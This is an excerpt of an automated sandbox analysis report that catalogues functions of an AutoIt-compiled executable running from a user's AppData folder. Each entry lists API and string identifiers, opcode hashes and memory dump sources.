                                                                                                                                                                            • API String ID: 2889604237-0
                                                                                                                                                                            • Opcode ID: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
                                                                                                                                                                            • Instruction ID: d072eed439da8d9b2e15dc1b8197415ba973964bee86b167e23c0027e322c698
                                                                                                                                                                            • Opcode Fuzzy Hash: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
                                                                                                                                                                            • Instruction Fuzzy Hash: F1E04F34B0970286FA24EF62A81C2382655EF4AFD1F0140B0CD0FC3B5DDE3CA045A300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2889604237-0
                                                                                                                                                                            • Opcode ID: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
                                                                                                                                                                            • Instruction ID: 03d2de2df02533301894e8a4fe988f78916fcb8ef8497e7e22c01b3fbb172742
                                                                                                                                                                            • Opcode Fuzzy Hash: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
                                                                                                                                                                            • Instruction Fuzzy Hash: 44E04638B0970286EA20EF62A81C2382659EF4AFC1F0100B0CE0FC3B69DF3DA005A300
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ContainedObject
                                                                                                                                                                            • String ID: AutoIt3GUI$Container
                                                                                                                                                                            • API String ID: 3565006973-3941886329
                                                                                                                                                                            • Opcode ID: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
                                                                                                                                                                            • Instruction ID: de53a6f1eac9862d6af49cddd8d827b1477c857e9735781dc7724ee1768117cd
                                                                                                                                                                            • Opcode Fuzzy Hash: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
                                                                                                                                                                            • Instruction Fuzzy Hash: 9E912476604B4686DB24DF29E4806AD73B5FB89B98F518036DF8D83728EF39E955C300
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfo
                                                                                                                                                                            • String ID: e+000$gfff
                                                                                                                                                                            • API String ID: 3215553584-3030954782
                                                                                                                                                                            • Opcode ID: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
                                                                                                                                                                            • Instruction ID: 5ef1db21405eb9b7e6e10f33ffc6757dd0eba27bce6fa20819fd2e50d45435cf
                                                                                                                                                                            • Opcode Fuzzy Hash: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
                                                                                                                                                                            • Instruction Fuzzy Hash: 71510372B187C286E7358F35D9413696A91FB82BD0F4892B1CB99C7EDACE2CD045C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FileModuleName_invalid_parameter_noinfo
                                                                                                                                                                            • String ID: C:\Users\user\AppData\Roaming\PefjSkkhb.exe
                                                                                                                                                                            • API String ID: 3307058713-4260059674
                                                                                                                                                                            • Opcode ID: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
                                                                                                                                                                            • Instruction ID: 8b92fb835d5a2d9346abea6714e5be7243d061bac0d6c4e3f9c9547e2a42a3a7
                                                                                                                                                                            • Opcode Fuzzy Hash: d66799c7fb8d49ba8911ba2da8beafd52f849db9660eadf2b3aeaa59b2ad0887
                                                                                                                                                                            • Instruction Fuzzy Hash: BE41AE32A08A568AF764DF29E8412BD67A4FF46BD4F555075E90E87F89DE3CE4828300
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$CreateDestroyMessageObjectSendStock
                                                                                                                                                                            • String ID: static
                                                                                                                                                                            • API String ID: 3467290483-2160076837
                                                                                                                                                                            • Opcode ID: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
                                                                                                                                                                            • Instruction ID: a01caefe52e620c72b097a2bca51750fa0412fb2476a224c340f2fd9a2779efd
                                                                                                                                                                            • Opcode Fuzzy Hash: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
                                                                                                                                                                            • Instruction Fuzzy Hash: F94128325086C286D6709F21E4407AEB7A1FB85B90F104275EBEE43B99DF3CE4859B40
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ByteCharMultiWidehtonsinet_addr
                                                                                                                                                                            • String ID: 255.255.255.255
                                                                                                                                                                            • API String ID: 2496851823-2422070025
                                                                                                                                                                            • Opcode ID: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
                                                                                                                                                                            • Instruction ID: 65efe6f093d973fac758622b63c2f19594cf50450f6d611b50b8bce8601d2ee3
                                                                                                                                                                            • Opcode Fuzzy Hash: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
                                                                                                                                                                            • Instruction Fuzzy Hash: 7531BE76A0864282EB309F26D8542BC37A0FF5ABD8F058572DE5E83399DE3CD546C308
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _snwprintf
                                                                                                                                                                            • String ID: , $$AUTOITCALLVARIABLE%d
                                                                                                                                                                            • API String ID: 3988819677-2584243854
                                                                                                                                                                            • Opcode ID: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
                                                                                                                                                                            • Instruction ID: 1ab7fd0c25c4489d0e72822cd8f8da30f11c8e669c9ff6f5b82f1c1dc9291c17
                                                                                                                                                                            • Opcode Fuzzy Hash: c7e08f6a60c99c5d777c2b71318a0fa50eea3cb020f88eb0f1ff8c1330ae95ab
                                                                                                                                                                            • Instruction Fuzzy Hash: 423127B6B08B0299EB30DF65E4955AC2371FB56BC4B4040B2DE0E97B59DF38E50AC740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$CreateMessageObjectSendStock
                                                                                                                                                                            • String ID: $SysTabControl32
                                                                                                                                                                            • API String ID: 2080134422-3143400907
                                                                                                                                                                            • Opcode ID: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
                                                                                                                                                                            • Instruction ID: 79bb43eb44e1fd2bc076a4a3d1df4aaf0b1bd56c07a9c770cc38b21cb2a458b5
                                                                                                                                                                            • Opcode Fuzzy Hash: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
                                                                                                                                                                            • Instruction Fuzzy Hash: 1A3137325087C1CAE770CF25A444B9AB7A0F785BA4F144379EAA957BD8DB38D4918F40
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FileHandleType
                                                                                                                                                                            • String ID: @
                                                                                                                                                                            • API String ID: 3000768030-2766056989
                                                                                                                                                                            • Opcode ID: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
                                                                                                                                                                            • Instruction ID: 7c7502ed31fa47d52dc79455bb5a3225204a4869eac23ffd9394b21f50ed1216
                                                                                                                                                                            • Opcode Fuzzy Hash: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
                                                                                                                                                                            • Instruction Fuzzy Hash: 72219132A08A4681EB748F3594D01396650FB87BF4F281375D6AE97BDCCE78D881D340
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                                                                                                                                            • String ID: static
                                                                                                                                                                            • API String ID: 1983116058-2160076837
                                                                                                                                                                            • Opcode ID: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
                                                                                                                                                                            • Instruction ID: 826475338ecb9b12053b28d1c1f793a8899df160ea74a61c1289cc2f66764d9c
                                                                                                                                                                            • Opcode Fuzzy Hash: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
                                                                                                                                                                            • Instruction Fuzzy Hash: F0313B36A08785CBD334CF29E440B5AB7A5FB89790F104269DB9943B98DF38E451CF00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$CreateObjectStockWindow
                                                                                                                                                                            • String ID: Combobox
                                                                                                                                                                            • API String ID: 1025951953-2096851135
                                                                                                                                                                            • Opcode ID: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
                                                                                                                                                                            • Instruction ID: a0aeec4d299035d0ceab1394ac0af26511b6118dadee933de113f45096321fab
                                                                                                                                                                            • Opcode Fuzzy Hash: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
                                                                                                                                                                            • Instruction Fuzzy Hash: C0315636608781CAE3708F24B440B5AB7A1FB85790F504279EAAC83B99CF3CD885CF01
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: LengthMessageSendTextWindow
                                                                                                                                                                            • String ID: edit
                                                                                                                                                                            • API String ID: 2978978980-2167791130
                                                                                                                                                                            • Opcode ID: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
                                                                                                                                                                            • Instruction ID: 2386052479bc41a448d87da36c545306f75dcba496dd40f5fea87dfc868eed1b
                                                                                                                                                                            • Opcode Fuzzy Hash: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
                                                                                                                                                                            • Instruction Fuzzy Hash: 97311836A08781CAE770DF15A44476AB7A1FB85B90F144275EAAC83B98DF3CD885CF41
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _handle_error
                                                                                                                                                                            • String ID: "$pow
                                                                                                                                                                            • API String ID: 1757819995-713443511
                                                                                                                                                                            • Opcode ID: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
                                                                                                                                                                            • Instruction ID: a01bb6ddc777d0d34034cb8547fa393cbda12f19fc1f4aa01ff6cd772ca034e0
                                                                                                                                                                            • Opcode Fuzzy Hash: 2773d63829b6bc9e243f88705d039ab02ec385488ae35a30c1ce332e33ed45c5
                                                                                                                                                                            • Instruction Fuzzy Hash: 26215072D1CA858BD370CF10E04076AAAA0FBDA384F202325F78946D59CFBDD1429B04
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClassMessageNameSend
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 3678867486-1403004172
                                                                                                                                                                            • Opcode ID: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
                                                                                                                                                                            • Instruction ID: a4e0938f7a94e2839a1c9c2a26642118e2f9c2695ecd867c6223bfd681b43350
                                                                                                                                                                            • Opcode Fuzzy Hash: 97deb16edf8e784fc52f0d006fa99df0b5c043f3f1d7c65ec9baf9ca6ee38585
                                                                                                                                                                            • Instruction Fuzzy Hash: 0D119076B0968181EA34EF21D4811E963A1FB96BE0F4442B1DAAC877DEDE3CE506C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClassMessageNameSend
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 3678867486-1403004172
                                                                                                                                                                            • Opcode ID: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
                                                                                                                                                                            • Instruction ID: bf3ddecf75a9016f94a0282398e03338b3dbc66e7b7b83d989b63749dcf8e710
                                                                                                                                                                            • Opcode Fuzzy Hash: d39c91620d6c6e447856c574b1c807ce734865e57223a48666476f59d2f3e294
                                                                                                                                                                            • Instruction Fuzzy Hash: 41118631B0968191EB30DB11E1912F963A0FF86BD4F444171DADD87B8EDE2CE605CB40
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClassMessageNameSend
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 3678867486-1403004172
                                                                                                                                                                            • Opcode ID: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
                                                                                                                                                                            • Instruction ID: 42aa3dd9a04e396e2195652109f7ffad9f31c7d190c1ea14b2b173bfcfbe6986
                                                                                                                                                                            • Opcode Fuzzy Hash: 2b6fed8ad632b1f274e203d646578af3038472905804e24f6343927dca18ccae
                                                                                                                                                                            • Instruction Fuzzy Hash: 45115176B0968191EB309F11E0511F963A0FF8ABC4F8445B1EA8D8765EDF2CE605CB40
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
